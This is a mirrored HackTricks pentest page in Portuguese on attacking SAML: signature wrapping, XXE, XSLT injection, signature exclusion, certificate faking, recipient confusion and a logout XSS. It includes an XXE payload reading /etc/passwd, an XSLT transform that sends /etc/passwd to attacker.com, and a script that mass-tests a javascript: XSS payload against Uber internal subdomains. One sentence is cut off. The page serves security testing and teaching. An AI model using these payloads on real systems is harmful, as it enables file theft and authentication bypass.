mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
316 lines
20 KiB
Markdown
316 lines
20 KiB
Markdown
# SAML Attacks
|
|
|
|
## SAML Attacks
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
{% content-ref url="saml-basics.md" %}
|
|
[saml-basics.md](saml-basics.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Tool
|
|
|
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uma ferramenta que pode pegar uma URL ou lista de URLs e imprimir de volta a URL de consumo SAML.
|
|
|
|
## XML round-trip
|
|
|
|
No XML, a parte assinada do XML é salva na memória, então alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria mudar os dados, mas com base nesse cenário, **os dados sendo verificados e os dados originais podem não ser os mesmos**.
|
|
|
|
Por exemplo, verifique o seguinte código:
|
|
```ruby
|
|
require 'rexml/document'
|
|
|
|
doc = REXML::Document.new <<XML
|
|
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
|
<X>
|
|
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
|
</X>
|
|
XML
|
|
|
|
puts "First child in original doc: " + doc.root.elements[1].name
|
|
doc = REXML::Document.new doc.to_s
|
|
puts "First child after round-trip: " + doc.root.elements[1].name
|
|
```
|
|
Executar o programa contra REXML 3.2.4 ou anterior resultaria na seguinte saída em vez disso:
|
|
```
|
|
First child in original doc: Y
|
|
First child after round-trip: Z
|
|
```
|
|
This is how REXML saw the original XML document from the program above:
|
|
|
|
.png>)
|
|
|
|
And this is how it saw it after a round of parsing and serialization:
|
|
|
|
.png>)
|
|
|
|
For more information about the vulnerability and how to abuse it:
|
|
|
|
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
|
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
|
|
|
## XML Signature Wrapping Attacks
|
|
|
|
Em **XML Signature Wrapping attacks (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante efetivamente contorna a **proteção de integridade** e a **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
|
|
|
|
Os seguintes ataques são baseados em [**este post do blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**este artigo**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Então, verifique esses para mais detalhes.
|
|
|
|
### XSW #1
|
|
|
|
* **Estratégia**: Um novo elemento raiz contendo a assinatura é adicionado.
|
|
* **Implicação**: O validador pode ficar confuso entre o legítimo "Response -> Assertion -> Subject" e o "Response -> Assertion -> Subject" malicioso do atacante, levando a problemas de integridade de dados.
|
|
|
|
.png>)
|
|
|
|
### XSW #2
|
|
|
|
* **Diferença do XSW #1**: Utiliza uma assinatura destacada em vez de uma assinatura envolvente.
|
|
* **Implicação**: A estrutura "maligna", semelhante ao XSW #1, visa enganar a lógica de negócios após a verificação de integridade.
|
|
|
|
.png>)
|
|
|
|
### XSW #3
|
|
|
|
* **Estratégia**: Uma Assertion maligna é criada no mesmo nível hierárquico que a assertion original.
|
|
* **Implicação**: Tem a intenção de confundir a lógica de negócios para usar os dados maliciosos.
|
|
|
|
.png>)
|
|
|
|
### XSW #4
|
|
|
|
* **Diferença do XSW #3**: A Assertion original se torna um filho da Assertion duplicada (maligna).
|
|
* **Implicação**: Semelhante ao XSW #3, mas altera a estrutura XML de forma mais agressiva.
|
|
|
|
.png>)
|
|
|
|
### XSW #5
|
|
|
|
* **Aspecto Único**: Nem a Assinatura nem a Assertion original aderem a configurações padrão (envolvidas/envolventes/detalhadas).
|
|
* **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.
|
|
|
|
.png>)
|
|
|
|
### XSW #6
|
|
|
|
* **Estratégia**: Inserção em local semelhante ao XSW #4 e #5, mas com uma reviravolta.
|
|
* **Implicação**: A Assertion copiada envolve a Assinatura, que então envolve a Assertion original, criando uma estrutura enganosa aninhada.
|
|
|
|
.png>)
|
|
|
|
### XSW #7
|
|
|
|
* **Estratégia**: Um elemento Extensions é inserido com a Assertion copiada como filho.
|
|
* **Implicação**: Isso explora o esquema menos restritivo do elemento Extensions para contornar as contramedidas de validação de esquema, especialmente em bibliotecas como OpenSAML.
|
|
|
|
.png>)
|
|
|
|
### XSW #8
|
|
|
|
* **Diferença do XSW #7**: Utiliza outro elemento XML menos restritivo para uma variante do ataque.
|
|
* **Implicação**: A Assertion original se torna um filho do elemento menos restritivo, revertendo a estrutura usada no XSW #7.
|
|
|
|
.png>)
|
|
|
|
### Tool
|
|
|
|
Você pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analisar a solicitação, aplicar qualquer ataque XSW que você escolher e lançá-lo.
|
|
|
|
## XXE
|
|
|
|
Se você não sabe que tipo de ataques são XXE, por favor, leia a página a seguir:
|
|
|
|
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
|
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
|
{% endcontent-ref %}
|
|
|
|
As Respostas SAML são **documentos XML descompactados e codificados em base64** e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades XXE. Aqui está como tal ataque pode ser visualizado:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
|
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
|
<saml:Issuer>...</saml:Issuer>
|
|
<ds:Signature ...>
|
|
<ds:SignedInfo>
|
|
<ds:CanonicalizationMethod .../>
|
|
<ds:SignatureMethod .../>
|
|
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
|
</ds:SignedInfo>
|
|
<ds:SignatureValue>...</ds:SignatureValue>
|
|
[...]
|
|
```
|
|
## Tools
|
|
|
|
Você também pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE e vulnerabilidades SAML.
|
|
|
|
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XSLT via SAML
|
|
|
|
Para mais informações sobre XSLT, vá para:
|
|
|
|
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial notar que **as transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
|
|
|
|
Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades; na página de hacktricks mencionada no início desta seção, você pode encontrar payloads.
|
|
```xml
|
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
...
|
|
<ds:Transforms>
|
|
<ds:Transform>
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="doc">
|
|
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
|
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
|
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
|
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
|
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</ds:Transform>
|
|
</ds:Transforms>
|
|
...
|
|
</ds:Signature>
|
|
```
|
|
### Ferramenta
|
|
|
|
Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades de XSLT.
|
|
|
|
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## Exclusão de Assinatura XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
|
|
|
A **Exclusão de Assinatura XML** observa o comportamento das implementações SAML quando o elemento Signature não está presente. Se este elemento estiver ausente, **a validação da assinatura pode não ocorrer**, tornando-o vulnerável. É possível testar isso alterando os conteúdos que normalmente são verificados pela assinatura.
|
|
|
|
.png>)
|
|
|
|
### Ferramenta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
|
|
|
Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepte a Resposta SAML e clique em `Remove Signatures`. Ao fazer isso, **todos** os elementos Signature são removidos.
|
|
|
|
Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a assinatura não for necessária pelo Serviço
|
|
|
|
## Falsificação de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
|
|
|
|
## Falsificação de Certificado
|
|
|
|
A Falsificação de Certificado é uma técnica para testar se um **Provedor de Serviço (SP) verifica corretamente se uma Mensagem SAML está assinada** por um Provedor de Identidade (IdP) confiável. Envolve o uso de um \***certificado autoassinado** para assinar a Resposta ou Aserção SAML, o que ajuda na avaliação do processo de validação de confiança entre SP e IdP.
|
|
|
|
### Como Realizar a Falsificação de Certificado
|
|
|
|
Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
|
|
|
1. Intercepte a Resposta SAML.
|
|
2. Se a resposta contiver uma assinatura, envie o certificado para SAML Raider Certs usando o botão `Send Certificate to SAML Raider Certs`.
|
|
3. Na aba de Certificados do SAML Raider, selecione o certificado importado e clique em `Save and Self-Sign` para criar um clone autoassinado do certificado original.
|
|
4. Volte para a solicitação interceptada no Proxy do Burp. Selecione o novo certificado autoassinado no menu suspenso de Assinatura XML.
|
|
5. Remova quaisquer assinaturas existentes com o botão `Remove Signatures`.
|
|
6. Assine a mensagem ou a asserção com o novo certificado usando o botão **`(Re-)Sign Message`** ou **`(Re-)Sign Assertion`**, conforme apropriado.
|
|
7. Encaminhe a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.
|
|
|
|
## Confusão de Destinatário de Token / Confusão de Alvo de Provedor de Serviço <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
|
|
|
A Confusão de Destinatário de Token e a Confusão de Alvo de Provedor de Serviço envolvem verificar se o **Provedor de Serviço valida corretamente o destinatário pretendido de uma resposta**. Em essência, um Provedor de Serviço deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo **Recipient**, encontrado dentro do elemento **SubjectConfirmationData** de uma Resposta SAML. Este campo especifica uma URL indicando onde a Aserção deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviço pretendido, a Aserção deve ser considerada inválida.
|
|
|
|
#### **Como Funciona**
|
|
|
|
Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Primeiro, deve haver uma conta válida em um Provedor de Serviço (referido como SP-Legit). Em segundo lugar, o Provedor de Serviço alvo (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende o SP-Legit.
|
|
|
|
O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit através do Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pela aceitação da Aserção pelo SP-Target, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.
|
|
```python
|
|
# Example to simulate interception and redirection of SAML Response
|
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
|
"""
|
|
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
|
|
|
Args:
|
|
- saml_response: The SAML Response intercepted (in string format).
|
|
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
|
|
|
Returns:
|
|
- status: Success or failure message.
|
|
"""
|
|
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
|
try:
|
|
# Code to send the SAML Response to SP-Target would go here
|
|
return "SAML Response successfully redirected to SP-Target."
|
|
except Exception as e:
|
|
return f"Failed to redirect SAML Response: {e}"
|
|
```
|
|
## XSS na funcionalidade de Logout
|
|
|
|
A pesquisa original pode ser acessada através [deste link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
|
|
|
Durante o processo de força bruta de diretório, uma página de logout foi descoberta em:
|
|
```
|
|
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|
```
|
|
Ao acessar este link, ocorreu uma redireção para:
|
|
```
|
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
|
```
|
|
Isso revelou que o parâmetro `base` aceita uma URL. Considerando isso, surgiu a ideia de substituir a URL por `javascript:alert(123);` na tentativa de iniciar um ataque XSS (Cross-Site Scripting).
|
|
|
|
### Exploração em Massa
|
|
|
|
[Com base nesta pesquisa](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
|
|
|
A ferramenta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) foi usada para analisar subdomínios de `uberinternal.com` para domínios que utilizam a mesma biblioteca. Subsequentemente, um script foi desenvolvido para direcionar a página `oidauth/prompt`. Este script testa para XSS (Cross-Site Scripting) inserindo dados e verificando se eles são refletidos na saída. Nos casos em que a entrada é de fato refletida, o script marca a página como vulnerável.
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
from colorama import init ,Fore, Back, Style
|
|
init()
|
|
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|
for url in urlList:
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|
doesit = Fore.RED + "no"
|
|
if ("Fady" in request.content):
|
|
doesit = Fore.GREEN + "yes"
|
|
print(Fore.WHITE + url2)
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|
```
|
|
## Referências
|
|
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|